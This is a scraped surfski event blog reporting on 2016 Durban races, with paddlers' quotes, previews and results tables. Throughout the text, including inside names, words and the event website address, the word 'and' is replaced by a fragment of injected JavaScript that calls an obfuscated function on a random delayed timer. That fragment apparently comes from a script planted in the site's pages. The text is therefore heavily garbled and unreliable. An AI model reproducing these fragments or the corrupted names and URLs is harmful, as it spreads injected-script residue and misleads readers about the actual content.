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    My eventing started in 2010 when I took over the Marine Surfski Series from the club I had grown up at and since then have grown the series into the biggest of it’s kind in the country.

    I now offer a number of eventing services to the water sport community. In 2013 this included branching out into more surfski races in the winter months as the Bay Union Surfski Series and also worked on the World MTB Champs in PMB.

    This category on my blog covers news and updates from the events I organise, dont miss out.

    Bouman dominates while Purchase steals it in Lion Of Africa Surf Challenge

    Written by Barry Lewin on . Posted in SurfSki Events

    Durban – Matt Bouman grabbed his first win in the Bay Union Surfski Series by taking advantage of superb weather conditions andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and his ingrained ability handom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andling the surf to win the novel Lion of Africa Surf Challenge, while junior Kyeta Purchase pulled off a stunning come-from-behind move to take the women’s title.

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    Bouman (Epic Kayaks) had to assert himself early on to get away from team mate Wade Krieger, winner of the first leg of the five race series, with Luke Nisbet snapping at both of their heels throughout.

    Bouman ground out a lead on the downwind leg to the turning buoy close to the mouth of the uMgeni River, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and then saw that erased as they turned for home.

    “I opted for a deep line to the top turn-can, but the can wasn’t where I expected it to be,” said Bouman. “Fortunately Luke (Nisbet) was following me but Wade (Krieger) took his own initiative andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and went straight to the buoy which nullified any advantage we had earned.”

    The organisers of the Lion of Africa Surf Challenge set out to test each paddler’s skills in the surf, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and set a course that required them to turn around two markers in the surf zone on South Beach andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Addington Beach.

    His superior surf skills allowed Bouman to get away from his two chasers to canter home to an impressive minute-andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and-a-half win.
    “It was good fun on the home leg when we had to do some surf slalom around some terrified gentlemen holding the surf turn-flags. I had the luxury of a lead going into the last turn andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and could watch the other two fighting it out for second.”

    Bouman said he thrived on the high standom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andard of surfski racing in the series, saying that Durban boasted some of the world’s best.

    “We race at such a high level week in a week out, in this great surfski culture in Durban. That’s the key to why we can produce world-beaters,” he said.

    Bouman said the absence of Hank McGregor, who was attending a family wedding, had changed the character of the race.

    “Sometimes it is actually harder to paddle without that edge that is always there when you are racing Hank (McGregor),” said Bouman.

    Krieger out-sprinted Nisbet to the line to claim second, with Czech Republic marathoner Jakub Adam coming back from a poor start in the surf to claim fourth, ahead of junior Bailey de Fondamiere.

    In the women’s race, Nikki Russell (Fenn Kayaks/Mocké Paddling) looked to be controlling the race with schoolgirl Kyeta Purchase (Euro Steel) on her wave throughout race, with team mate Jenna Ward keeping both of them honest.
    After doing most of the work in the race, Russell looked to have the upper handom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and as they turned at the last turn-can andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and headed back to the beach finish at Addington Beach.
    Purchase however latched onto a decent sized wave andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and rode it beautifully, allowing her first to erase Russell’s lead andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and then blitz past her to claim the overall women’s spoils.

    “The whole race while I was paddling with her I was hoping to be able to leave it to the last wave,” said a relieved Purchase.

    “At the first surf turn she dropped me, then she got hit by a wave at the second surf turn andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I managed to catch back up to her,” she said.

    While elated to have won the overall women’s class Purchase said the elite women contesting the Sunday morning titles were all team mates andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and training partners.

    “We never know who is going to win it every Sunday but at least we know that it will be one of our team mates. That’s really cool,” said Purchase, who’s surfski calendar is part of her preparations for the marathon world Championships in Brandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andenberg in Germany in September.

    Louis Hattingh, the 2014 Junior marathon K2 world champ, won the Worst Wave Award for a novel start that saw him leap straight over his ski during the lifesaving style start, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and then repeat that feat in the reverse direction.

    A good sized field enjoyed the superb weather andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and mild ocean conditions for the 12km long course andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and 6km short races as the province breathed a sigh of relief after the cold front that swept over the region released its grip.

    The fourth leg of the series is the Bay Union Dairy Doubles Surfski Challenge based at Dairy Beach on Sunday 8 May 2016.

    More information can be found at www.pitchandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andpaddle.co.za

    SUMMARY OF RESULTS
    LION OF AFRICA SURF CHALLENGE
    LONG COURSE MEN’S SINGLES
    1.Matt Bouman 51:18
    2.Wade Krieger 52:41
    3.Luke Nisbet 52:46
    4.Jakub Adam 53:41
    5.Bailey De Fondaumiere 54:08
    6.Luke Criticos 54:32
    7.Gene Prato 54:55
    8.Thomas Lovemore 55:57
    9.Irvin Dixon 56:01
    10.Louis Hattingh 56:21

    LONG COURSE WOMEN’S SINGLES
    1.Kyeta Purchase 59:56
    2.Nikki Russell 1:00:01
    3.Jenna Ward 1:02:22

    LONG COURSE DOUBLES
    1.Jason Ekstrandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and/Richard Lowe 52:46
    2.Linton Hope/Bruce Wenke 54:13
    3.Bryce Hatton/Marc Stanton 55:12
    4.Barry Lewin/Carly Davidson 56:30
    5.Tyler Wilson/Garnett Wilson 56:34

    SHORT COURSE
    1.Ian Greig/Neil Greig 31:26
    2.Byron Volek/Bridgette Parker 33:40
    3.Ken Reynolds/Caitlin Borain 34:03

    SUP
    1.Jon Ivins 44:45
    2.Kade Burnett 51:11

    Krieger andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Nixon take early surfski series lead.

    Written by Barry Lewin on . Posted in SurfSki Events

    Durban – Wade Krieger andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Hayley Nixon bagged maximum log points in the series-opening Bay Union Season Starter at Addington Beach on Sunday, making the most of the benign ocean conditions to grind out wins against a big field of surfski enthusiasts.

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    Krieger was drawn into a tussle with Herman Chalupsky at the front of the men’s single ski race, both eager to take full advantage of the absence of series stalwarts Hank McGregor andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Matt Bouman.

    Chalupsky took the lead early on in the first lap, consisting of a leg straight out to sea followed by a downwind sector back to eThekwini beach, before Krieger made his move andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and surged to the front.

    “It was a tough race,” said Krieger afterwards. “Herman (Chalupsky) was tactically better in the runs, but I managed to make up that fifteen metres after the turning buoy.

    “Then I pulled to the top andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I think my surf skills helped in the end andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I managed to get onto a wave coming in andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and run up the beach to the finish to claim the win,” the Team Epic/Falcon World Travel athlete said.

    “I like to take it one race at a time,” said Krieger. “I am injury-free at the moment, feeling strong andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I can only improve from here.

    “Next weekend is the 21km Bay Union King of the Bay, so I will have to taper a bit this week because you can never underestimate that type of distance,” said Krieger.

    The women’s title fell to Hayley Nixon in a dominant performance that saw her race to the front early on andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and consolidate an impressive victory to kick-start a season in which she plans to focus heavily on her surfski racing.

    “We had a great tussle on the leg out to the turning can, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and as we got into the downwind leg in managed to pull a bit of a gap on Nikki Russell.

    “She came back strongly but luckily I was able to maintain the gap andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and take the win,” said Nixon.

    She said that the high standom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andard of racing amongst the elite women who contest the Bay Union Surfski Series was going to make for a very competitive five race programme.

    “You are not supposed to come good in the first race of the series because then there is pressure for the rest of the series!” she mused.

    The outing was encouraging for Nixon as she sets her sights on a number of international surfski races. It was also a perfect start for her in her new Carbonology team colours, with her team mate Bailey de Foundaumiere adding “Hayley andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Bailey” swag to the team haul by winning the junior boys title.

    Classy Durban schoolgirl Kyeta Purchase (Fenn Kayaks) romped to a comfortable win the junior girls division, finishing third overall in the women’s race.

    Fastest over the 12km long course was the doubles crew of Barry Lewin andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Clinton Cook.

    The race got the hugely popular winter Sunday morning Bay Union Surfski Series season under way with a bang as a big field of paddlers of all abilities took advantage of the mild surf andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and gentle ocean conditions to enjoy the series pipe-opener under cool overcast skies.

    The race organisers laid on a novel two leg course that took advantage of the prevailing downwind conditions andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and a novel crossing of Vetch’s Reef on the second lap, as part of a commitment to ensure that each race in the series has unique characteristics andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and appeal to the regular surfski paddlers.

    With an emphasis on fun, there was plenty of friendly banter, with some eager paddlers dressing up in fancy-dress for the occasion.

    The second leg of the series is the Bay Union King of the Bay hosted by Stella Canoe Club on Sunday 24 April, which affords surfski paddlers the once-a-year opportunity to paddle across Durban harbour andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and out through the harbour mouth.

    More information can be found at www.pitchandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andpaddle.co.za

    SUMMARY OF RESULTS
    MAY UNION SERIES STARTER
    LONG COURSE MEN’S SINGLES
    1.Wade Krieger 53:22.31
    2.Herman Chalupsky 53:35.37
    3.Gene Prato 53:47.88
    4.Luke Nisbet 53:48.33
    5.Bailey De Fondaumiere 55:03.52
    6.Jakub Adam 55:12.82
    7.Thomas Lovemore 55:44.65
    8.Jason Ekstrandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and 56:11.97
    9.Steve Woods 56:15.87
    10.Louis Hattingh 56:33.84

    LONG COURSE WOMEN’S SINGLES
    1.Hayley Nixon 59:34:13
    2.Nikki Russell 1:00:18
    3.Kyeta Purchase 1:01:17

    LONG COURSE DOUBLES
    1.Barry Lewin/Clinton Cook 52:17.22k
    2.Linton Hope/Bruce Wenke 55:02.22
    3. Zoog Haynes/Christie Mackenzie 55:53.66
    4.Bryce Hatton/Marc Stanton 56:03.24
    5.Allan Hold/Geoff Thompson 56:13.66

    SHORT COURSE
    1.Nicholas Horn/D.Bindley 33:38
    2.Cameron Hudson 33:49
    3.Ian Grieg/Neil Grieg 34:20

    Bay Union Surfski Series fever engulfs Durban paddlers

    Written by Barry Lewin on . Posted in SurfSki Events

    Durban – Hundreds of paddlers are expected to return to Durban’s ocean racing scene this Sunday when the annual five-leg Bay Union Surfski Series gets underway at Marine Surf Lifesaving Club, Addington Beach with the Bay Union Season Starter, signalling the start of the autumn surfski season.

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    Organisers have done away with the traditional series log standom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andings andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and prizes, paving the way for local surfski enthusiasts to focus their full attention on each of the races’ unique paddling experiences over the coming five Sundays.

    Renowned for its spectacular conditions at this time of the year, Durban’s bay offers the perfect, protected stage upon which all the action can unfold while the iconic Golden Mile, Moses Mabhida Stadium andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the spectacular cityscape provides the ideal backdrop.

    “We are extremely privileged to be able to have such incredible conditions at our disposal here in Durban during the autumn andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and winter months andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and thanks to the generous support of Bay Union, we are thrilled to host KZN’s surfski community for what promises to be another fantastic five weeks of racing,” explained series organiser, Barry Lewin.

    “We’ve changed things up a little this year, with the focus of this year’s series being all about paddlers enjoying what each of the individual races have to offer,” he added.

    As a unique theme runs through each of the five races, paddlers can look forward to enjoying many of the various elements that make the sport so popular on the East Coast.

    “Sunday’s race is all about embracing the fun that comes with the sport of surfski,” said Lewin.

    “We have prizes for the best dressed paddlers, spirit awards andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and a special family category which, together with some great new course routes, should get the series off on a really fun, relaxed, family orientated note – the essence of why many of us paddle!”

    Sunday, 24 April’s Bay Union King of the Bay presented by Zurich provides paddlers with a once-a-year opportunity to paddle across Durban’s harbour andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and out the mouth to sea – an annual highlight for many – while race three, the Lion of Africa Surf Challenge on Sunday, 1 May takes participants back to their paddling roots andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and tests their basic ocean paddling skills.

    “The King of the Bay is such an iconic Durban event andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and one not to be missed!

    “The Lion Of Africa Surf Challenge will see participants make multiple turns in amongst the waves, taking paddlers back to the lifesaving ‘around the cans’ heritage of the sport.

    The final two events of the popular autumn series then focus on teamwork as paddlers tackle the Bay Union Dairy Doubles Challenge andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Bay Union Team Challenge on Sunday, 8 May andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Sunday, 15 May respectively.

    “We have such a strong doubles racing culture here in Durban andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and yet very few dedicated doubles events.

    “The Dairy Doubles Challenge at Durban Surf should be a fantastic day’s racing where some of the country’s, if not the world’s, top doubles crews go head-to-head while the competitive vets andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and masters age groups also promises to serve up some fierce competition.

    “The concept of a Team Challenge was born a couple of years ago andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and this year’s event is a refinement of that.

    “Much like how mountain bike stage races are run, teams will consist of two skis – either singles or doubles – with both craft needing to cross the line within a boat length of the other to qualify for the prizes.

    “Paddlers having to work together whilst also trying to compete against the other teams around them is a novel concept to surfski paddling andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and we cannot wait for the action that the format promises to produce!” said Lewin.

    The Bay Union Season Starter, race one of the 2016 Bay Union Surfski Series, takes place from 09h00 at Marine SLC, Addington Beach on Sunday, 17 April. Entry fee for races 1, 3, 4 andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and 5 of the series is R80 per paddle while race 2 costs R120 per paddle.

    More information can be found at www.pitchandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andpaddle.co.za

    Varsity College FNB Surfski Series 2016 – Race 10 Video – Varsity College Surfski Challenge andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and SA Schools Surfski Champs

    Written by Barry Lewin on . Posted in SurfSki Events

    Fitting finale for majestic 2016 Marine Series

    Written by Barry Lewin on . Posted in SurfSki Events

    Durban – The 2016 Varsity College FNB Marine Surfski Series came to an end on Friday evening with the Varsity College FNB South African Schools Surfski Championships taking centre stage as the Mark Keeling andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Kyeta Purchase became national champions whilst Hank McGregor took the overall spoils in the series.

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    Keeling finished second the Bailey de Fondaumiere in 2015 however he was too strong for the rest of the schools field as he cantered to a win by just over a minute whilst Kyeta Purchase repeated her win of 2015 as she outgunned the other girls to take the national championship title.

    The overall series title was up for grabs as Euro Steel/Epic Kayak’s Hank McGregor was chasing Matt Bouman for the spoils however it was the former who produced the goods to claim yet another Varsity College FNB Series title.

    “It was a perfect evening for racing with a light westerly wind blowing,” McGregor said. “There was a great field there andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I knew that I was under a bit of pressure because I needed this result if I was going to win.

    “It was an awesome evening for racing andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I am really glad that I have another title,” he added.

    McGregor always knew that he had to finish at the front of the field if he wanted his sixth andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and final result to count in his favour so when he started the race he made sure that he got himself in front of the rest of the field early.

    “I decided that I wanted to deliver the hurt from the beginning of the race as I needed to get myself away.

    “I had a great start andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and got a substantial lead quickly because I really didn’t want to leave it to the final lap because you never know what can happen.

    “When I got ahead I just tried to chase down the doubles andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the paddlers in the schools race so I always had a marker to chase.

    “It was a fantastic win for me andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I am glad that I could get another series win!” he added.

    The series has become known for its strong field that it accumulates every week andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Friday night’s racing was no different.

    “It was good to have the likes of Kenny Rice here which just added the strength of the field.

    “Being able to race against some of the best surfski paddlers in the world is such a privilege. Taking them on in my own back yard is something that I have always appreciated,” added a satisfied McGregor.

    With the focus of the final race being on the SA School’s championships, Hayley Nixon managed to get her second win of the series despite the fact that Nicole Russell had already wrapped up the women’s series title.

    The popular short course was won by Nic Riosa whilst the Wilkinson pair of Travis andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Rachel were the quickest double across the line.

    More information can be found at www.marineseries.co.za

    SUMMARY OF RESULTS – VARSITY COLLEGE SURFSKI CHALLENGE
    RACE TEN OF THE 2016 VARSITY COLLEGE FNB MARINE SURFSKI SERIES

    LONG COURSE
    Overall
    1.Hank McGregor 32.41
    2.Matt Bouman 34.04
    3.Kenneth Rice 34.43
    4.Wade Krieger 34.47
    5.Charl Massyn 34.49
    6.Grant van der Walt 35.00
    7.Steve Woods 35.19
    8.Gene Prato 35.26
    9.Darren Swales 36.30
    10.Jean Luc Mauvis 36.56

    Women
    1.Hayley Nixon 38.29

    Doubles
    1.Thomas Lovemore/Lee McGregor 33.41

    Mixed Doubles
    1.Jason Ekstrandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and/Kerry Segal 35.16
    2.Lee Furby/Pippa McGregor 37.07
    3.Gareth Miles/Raquel Arcediano 38.22

    SHORT COURSE
    Singles
    1.Nic Riosa 21.55
    2.Dave Rees 22.08
    3.Dylan Riddle 23.10

    Doubles
    1.Travis Wilkinson/Rachel Wilkinson 20.24
    2.Philip Symons/Lauren Norton 20.31
    3.Bruce Pender-Smith/Matthew Pender-Smith 21.40

    SUPs
    Men
    1.Daryl Bartho 26.52
    2.Brandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andon Read 27.45
    3.Grantley Read 29.16

    VARSITY COLLEGE FNB SOUTH AFRICAN SCHOOLS SURFSKI CHAMPIONSHIPS
    Under 18 Boys
    1.Mark Keeling 35.00
    2.Bailey de Fondaumiere 36.01
    3.Zachery Preyser 36.23
    4.William Wood 37.32
    5.Emanuel Zaloumis 39.04

    Under Girls
    1.Kyeta Purchase 40.45
    2.Teegan Hardwick 49.20
    Keli Reynolds 58.34

    Under 16 Boys
    1.Uli Hast 39.16
    2.Hamish Mckenzie 42.43
    3.Dante Lahore 45.03

    Under 16 Girls
    1.Tayla Gilmore 48.09

    SA’s young surfski stars ready for national schools champs

    Written by Barry Lewin on . Posted in SurfSki Events

    Durban – The 2016 Varsity College FNB South African Schools Surfski Championships take place this Friday, 11 March at Marine Surf Lifesaving Club in Durban with talented youngsters from throughout the country eager to stake a claim for this year’s spoils.

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    Adding to the hype of the final race of the ten leg 2016 Varsity College FNB Marine Surfski Series, the national schools champs are set to be a ding-dong battle across both the Under-18 andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Under-16 age groups.

    Durban’s Bailey de Fondaumiere narrowly edged out Cape Town’s Mark Keeling last year andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and many expect the pair, now both in their final year of school, to once again go head to head for the title.

    Carbonology’s De Fondaumiere has been in fine form throughout this year’s Marine Surfski Series, mixing it up with some of the country’s top senior men andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and clinching multiple top ten finishes along the way.

    Meanwhile, Orka Squad’s Keeling focused much of his recent efforts on his Under-18 boys FNB Dusi title winning effort with his partner Mpilo Zondi (Computershare Change a Life Academy) but has shown great form on the ocean as well, often pushing the likes of Kenny Rice, Brandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andon van der Walt andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Stu Maclaren in the Cape’s weekly ADT SeaDog Paddle Series races.

    Keeling’s fellow Western Cape ace Zach Preyser is better known for his flat water sprinting abilities but is another to have strong great for in his surfski of late andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and represents somewhat of a dark horse contender.

    East London’s William Wood finished second in the Under-16 clash in 2015 andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and, having now graduated into the Under-18 age group, is another out-of-towner eager to take on Durban’s local stars of tomorrow for a place on the podium.

    Junior girls flyer Kyeta Purchase (Fenn Kayaks), who claimed the Under-16 girls title in 2014 andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Under-18 girls crown last year, goes into this year’s championships as favourite to defend her title andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and walk away national champion.

    The Our Lady of Fatima Convent pupil has been in such strong form throughout this year’s Marine Surfski Series that she is currently locked in a battle for second place overall, despite Durban’s wealth of talented senior women’s competitors, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and is likely to push some her male junior counterparts this Friday.

    Christie MacKenzie andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Sabine Lawrie may well battle it out for the remaining Under-18 girls podium positions while the Under-16 age group is likely to see Oli Hart from Cape town feature strongly together with Durban’s Hamish MacKenzie andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Dante Lahore.

    The 2016 Varsity College FNB South African Schools Surfski Championships take place over an eight kilometer course that starts andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and finishes in front of Marine SLC at Durban’s Addington Beach on Friday, 11 March. Racing gets underway at 17h30 andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and more information can be found at www.marineseries.co.za

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